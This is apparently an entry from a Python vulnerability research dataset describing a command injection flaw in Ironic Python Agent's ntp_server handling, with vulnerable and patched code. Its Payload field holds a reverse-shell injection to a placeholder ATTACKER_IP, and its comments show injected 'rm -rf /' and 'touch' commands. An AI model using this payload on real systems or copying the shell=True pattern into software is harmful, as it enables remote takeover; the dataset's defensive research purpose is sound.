CVE-2026-66138
Command injection in Ironic Python Agent via the ntp_server parameter.
- CVSS 7.2
- CWE-78
- Input Validation and Sanitization
- Remote
In OpenStack Ironic Python Agent through 11.6.0, a project-scoped user with the manager role can achieve arbitrary code execution on a running Ironic-Python-Agent via a maliciously constructed configuration, because the value of ntp_server is passed to a shell.
- CWE
- CWE-78
- CVSS base score
- 7.2
- Published
- 2026-07-24
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- OpenStack Ir
- Fixed by upgrading
- Yes
Solution
Upgrade to Ironic Python Agent 11.6.1 or later.
Vulnerable code sample
import subprocess
def _configure_ntp(config):
"""Configure NTP on the node."""
ntp_server = config.get('ntp_server')
if not ntp_server:
return
# VULNERABLE CODE: The ntp_server value is not sanitized and is
# directly formatted into a command string that is executed with a shell.
# A malicious value like '1.2.3.4; touch /tmp/pwned' would lead to
# arbitrary code execution.
command = f"chronyd -q 'server {ntp_server} iburst'"
subprocess.run(command, shell=True, check=True)Patched code sample
import subprocess
def apply_ntp_configuration(config):
"""
Securely applies the NTP configuration.
This function mitigates command injection by passing the 'ntp_server'
value as an element in a list to subprocess.run(), rather than
embedding it in a shell command string.
"""
ntp_server = config.get('ntp_server')
if ntp_server:
# The command is built as a list of arguments.
# This ensures that the ntp_server value is treated as a single,
# literal argument and is not interpreted by a shell.
command = ['ntpdate', ntp_server]
# Execute the command. shell=False is the default and secure setting.
# An attacker providing 'some.server; rm -rf /' would cause the
# ntpdate command to fail, but the 'rm -rf /' part would not be
# executed.
try:
subprocess.run(command, check=True, capture_output=True)
except (subprocess.CalledProcessError, FileNotFoundError) as e:
# In a real application, this error would be logged.
print(f"Failed to update time using '{ntp_server}': {e}")Payload
time.nist.gov; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Cite this entry
@misc{vaitp:cve202666138,
title = {{Command injection in Ironic Python Agent via the ntp_server parameter.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-66138},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-66138/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
